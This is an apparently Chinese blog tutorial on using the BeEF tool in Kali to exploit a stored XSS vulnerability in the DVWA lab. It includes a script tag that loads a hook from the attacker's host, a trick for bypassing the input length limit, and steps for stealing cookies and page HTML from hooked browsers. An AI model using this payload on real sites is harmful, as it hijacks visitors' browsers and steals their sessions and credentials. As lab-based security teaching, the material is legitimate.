跨站脚本漏洞(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。XSS攻击使用到的技术主要为html和JAVAscript,也包括VBScript和ActionScript等。XSS攻击对WEB服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。想要了解更多关于XSS漏洞的信息,可以查看我的文章《十大常见web漏洞——跨站脚本漏洞》和《实操web漏洞验证——跨站脚本漏洞》两篇文章。
BeEF是我遇见的唯一一款XSS漏洞利用工具,也是集成在kali系统当中的,我说过,能够被kali所看中的工具,都是十分强大的工具,下面我们就来介绍一下BeEF这款工具是怎么利用XSS漏洞的,首先我们打开kali,选择左上角“应用程序-漏洞利用工具集-beef xss”,如下图所示:
kaili
点击后,稍微等待一会就会出现如下图界面,我们需要注意的是图中红框中的内容,web UI:http://127.0.0.1:3000/ui/panel,我们可以在kali中打开浏览器访问这个链接。
BeEF
打开kaili中火狐浏览器,输入:http://127.0.0.1:3000/ui/panel,就会进入出现如下登录界面,用户和密码都是beef。我再次强调是在kaili中的浏览器中登录BeEF,如果不是的话,就需要修改ip地址:127.0.0.1为虚拟机kaili的ip地址,我查了一下是:192.168.199.137,也就是访问:http://192.168.199.137:3000/ui/panel,来进入登录界面。
BeEF登录界面
输入用户和密码,都是beef,点击登录后就会进入BeEF主界面,左侧显示在线和不在线的受到攻击的主机,现在还没有利用存在漏洞的站点,所以都为空。
BeEF主界面
下面我们利用DVWA中的存储型XSS漏洞来演示BeEF是怎样的利用XSS漏洞的,首先进入DVWA,选择XSS(stored),如下图所示:
DVWA
在Name输入框中输入XSS(也可以取其他名字),在Message输入框中输入图BeEF中红框中的最后一段代码:<script src="http://127.0.0.1:3000/hook.js"></script>,这里同样需要将ip地址修改为kaili的ip地址即:<script src="http://192.168.199.137:3000/hook.js"></script>,因为DVWA不是在kaili中搭建的,这时还有一个问题Message输入框设置了输入内容长度限制,我们可以在浏览器中按“F12”,找到Message输入框对应的代码“maxlength”参数50改为200,就可以输入了,最后点击“Sign Guestbook”。
这时其实我访问DVWA的主机已经中招了,我们打开kali中的浏览器,查看BeEF主界面,这时左侧“Online Browsers”就会出现中招主机的ip地址,从图标中可以看出是windows系统。
为了对比显示,我们在kali的浏览器中访问:http://192.168.9.202:8000/DVWA/,也就是存在XSS漏洞的DVWA的XSS(stored)界面,因为是存储型XSS,所以只要点击XSS(stored),就会造成XSS攻击,再返回BeEF主界面可以看到左侧“Online Browsers”又多了一个linux主机ip,如下图所示:
下面我们演示几个简单的BeEF攻击,我们点击左侧在线主机ip,就会跳出如下图的一个界面,这里显示了一些该主机的一些简单信息。
我们选择“Commends-Browser-Hooked Domain-Get Cookies”点击右下角“Execute”,就可以获得当前页面的cookies值。
点击“Get Page HTML”再点击右下角“Execute”,点击攻击记录,就可以获得页面的HTML代码,如下图所示:
在这里我就演示这两个简单的攻击操作,BeEF里还有许多利用XSS漏洞攻击的方式,其中还包括伪造用户登录界面,骗取用户输入用户名和密码,从而非法得到用户的登录信息,有兴趣的用户可以安装测试环境自己亲身操作,文章中涉及到的kaili和DVWA环境,有机会我会介绍给大家,欢迎关注@科技兴了解更多科技尤其是网络安全领域的知识。